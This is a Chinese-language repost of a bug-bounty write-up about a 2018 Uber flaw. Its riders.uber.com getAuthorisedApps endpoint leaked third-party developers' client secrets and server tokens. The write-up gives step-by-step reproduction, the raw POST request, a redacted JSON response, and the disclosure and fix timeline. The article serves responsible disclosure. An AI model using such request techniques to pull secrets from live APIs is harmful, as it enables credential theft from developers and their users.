挖洞经验 | Uber第三方应用的开发者密钥等敏感信息泄露漏洞

栏目: 编程工具 · 发布时间: 5年前

内容简介:开放应用程序的 API(应用程序接口)已经成为互联网应用之间共享资源的重要方式,Uber通过向第三方集成服务合作伙伴的开发者全面开放共享API,希望可以创造一种无缝连接的移动体验,增加用户粘性,建立起自己的生态体系。美国联合航空、微软、TripAdvisor 、Open Table等在内的众多企业,都已在其APP中嵌入了Uber,极大地拓展了应用场景,实现了双赢。2015年9月25日,Uber宣布在中国市场向所有开发者全面开放Uber API –

挖洞经验 | Uber第三方应用的开发者密钥等敏感信息泄露漏洞 本文分享的漏洞涉及Uber第三方集成服务应用,通过Uber的开放接口,可以泄露第三方集成服务开发者的客户端密钥和Server token信息。漏洞发现者为印度APP安全公司 AppSecure 的Anand Prakash 和 Manisha Sangwan 。漏洞上报后,Uber安全团队非常重视,进行了及时修复。

Uber的开发者接口

开放应用程序的 API(应用程序接口)已经成为互联网应用之间共享资源的重要方式,Uber通过向第三方集成服务合作伙伴的开发者全面开放共享API,希望可以创造一种无缝连接的移动体验,增加用户粘性,建立起自己的生态体系。

美国联合航空、微软、TripAdvisor 、Open Table等在内的众多企业,都已在其APP中嵌入了Uber,极大地拓展了应用场景,实现了双赢。2015年9月25日,Uber宣布在中国市场向所有开发者全面开放Uber API – http://developer.uber.com.cn ,百度、穷游网以及渡鸦科技成为首批合作伙伴。Uber表示,无论成熟、中型亦或初创企业,都可以成为Uber API开放计划的合作伙伴。

漏洞情况

存在漏洞的地方为Uber API riders.uber.com,在其上面有一个公共请求端 - https://riders.uber.com/profile ,发起请求后,该接口响应后可以返回一些服务端的server token,以及与Uber账户相关联的第三方授权应用的开发者客户端密钥信息(client_secret)。

Uber在 官方开发者文档中 对集成应用相关的client_secret,提醒开发者:

这是开发者应用程序相关的密钥信息,就像应用程序的密码一样,不能与他人共享,也不能在源码或公共论坛中泄露。而且,在一些用户客户端设备上,也要确保该密钥信息不能被反编译获取。如果你怀疑该密钥信息已被泄露,请尽快在你的开发应用管理面板中生成一个新密钥,以此取代旧的密钥。

对攻击者来说,该漏洞利用很简单,只要用他自己的账户去关联绑定生产环境中的任意一个Uber第三方应用,如 IFTTT、Payfare和Bixby等,然后利用 https://riders.uber.com/profile 发起请求,在其API的返回响应中,就能获得开发者的server token,和与第三方应用相关联的开发者客户端密钥信息。

漏洞复现

1、攻击者在OAuth认证方式下,用自己的账户去关联任意一个Uber第三方应用,如 IFTTT、Payfare和Bixby等;

2、攻击者把自己的账户关联绑定到以上应用之后,用自己的session会话数据,发起 https://riders.uber.com/profile 的POST请求,就能获得开发者的一些敏感信息。

存在漏洞的Uber API为 https://riders.uber.com/ ,以下为对其发起的POST请求:

POST /api/getAuthorisedApps HTTP/1.1
Host: riders.uber.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://riders.uber.com/profile
content-type: application/json
x-csrf-token: XXX
origin: https://riders.uber.com
Content-Length: 2
Cookie:

以下为API的响应消息,在其中就包含了一些如applicationSecret、userEmail、userUUID等开发者的敏感信息:

{“status”:”success”,”data”:{“data”:{“uuid”:”xxxx”},”clientScopes”:{“authorizedClientScopes”:[{“clientID”:”xxx”,”scopes”:[“history”,”offline_access”,”profile”]}]},”scopeDetails”:[{“applicationDetails”:{“applicationID”:”xxx”,”owner”:{“userUUID”:”xxxx”,”userEmail”:””},”applicationSecret”:”xxx”,”name”:”xxx”,”description”:”abc”,”privacyPolicyURL”:”https://appsecure.in","surgeConfirmedRedirectURI":"","webhookURL":"","applicationType":"","requestsPerHour":{"low":0,"high":0,"unsigned":false},"redirectURIs":["xxxxxx"],"appSignatures":[],"defaultScopes":["history","profile"],"whitelistedScopes":[],"originURIs":[],"serverTokens":["xxx"],"ipWhitelist":[],"admins":[{"userUUID":"xxxx","userEmail":""},{"userUUID":"xxxx","userEmail":""},{"userUUID":"xxxx","userEmail":""}],"developers":[{"userUUID":"xxxx","userEmail":""}],"tags":[],"oauthEnabled":false,"smsVerificationEnabled":false,"cobrandingEnabled":false,"supplyOnly":false,"isInternal":true,"cobrandingDetails":{"nativeURL":"","androidFallbackURL":"","iosFallbackURL":"","displayName":"","linkName":"","logoUUID":"","logoFiletype":"","generatedLogoURL":""},"availableScopes":["delivery","history","history_lite","places","profile","ride_widgets"],"openScopes":["delivery","history","history_lite","places","profile","ride_widgets"],"developerScopes":["all_trips","request","request_receipt"],"createdAt":{"low":xxx,"high":0,"unsigned":false},"updatedAt":{"low":xxx,"high":0,"unsigned":false},"displayName":null,"iconURL":null,"publicDescription":null,"appGalleryDetails":{"mobilePlatforms":[],"publicationState":"","redirectURI":"xxxx","permissionState":""}},"permissions":null,"userRoleInvitations":null}]}}

漏洞修复进程

2018.10.5    漏洞初报
2018.10.6    Uber接收漏洞,AppSecure公司要求Uber通知第三方应用合作伙伴,提醒应用程序开发者该漏洞情况,确保开发者密钥的安全保密
2018.12.20  Uber回复称,“正在通知合作伙伴,并会为该漏洞制订长期解决方案”
2019.2.8     Uber向我们发放$5000赏金,并告知已经通过邮件方式通知了所有合作伙伴开发团队人员

Uber删除了riders.uber.com API中的敏感响应信息,并提醒开发人员要定期更换开发者密钥。

挖洞经验 | Uber第三方应用的开发者密钥等敏感信息泄露漏洞 *参考来源: medium ,clouds编译,转载请注明来自FreeBuf.COM


以上所述就是小编给大家介绍的《挖洞经验 | Uber第三方应用的开发者密钥等敏感信息泄露漏洞》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Python高效开发实战

Python高效开发实战

刘长龙 / 电子工业出版社 / 2016-10 / 89

也许你听说过全栈工程师,他们善于设计系统架构,精通数据库建模、通用网络协议、后端并发处理、前端界面设计,在学术研究或工程项目上能独当一面。通过对Python及其周边Web框架的学习和实践,你就可以成为这样的全能型人才。 《Python高效开发实战——Django、Tornado、Flask、Twisted》分为3部分:第1部分是基础篇,带领初学者实践Python开发环境和掌握基本语法,同时对......一起来看看 《Python高效开发实战》 这本书的介绍吧!

MD5 加密
MD5 加密

MD5 加密工具

XML、JSON 在线转换
XML、JSON 在线转换

在线XML、JSON转换工具

UNIX 时间戳转换
UNIX 时间戳转换

UNIX 时间戳转换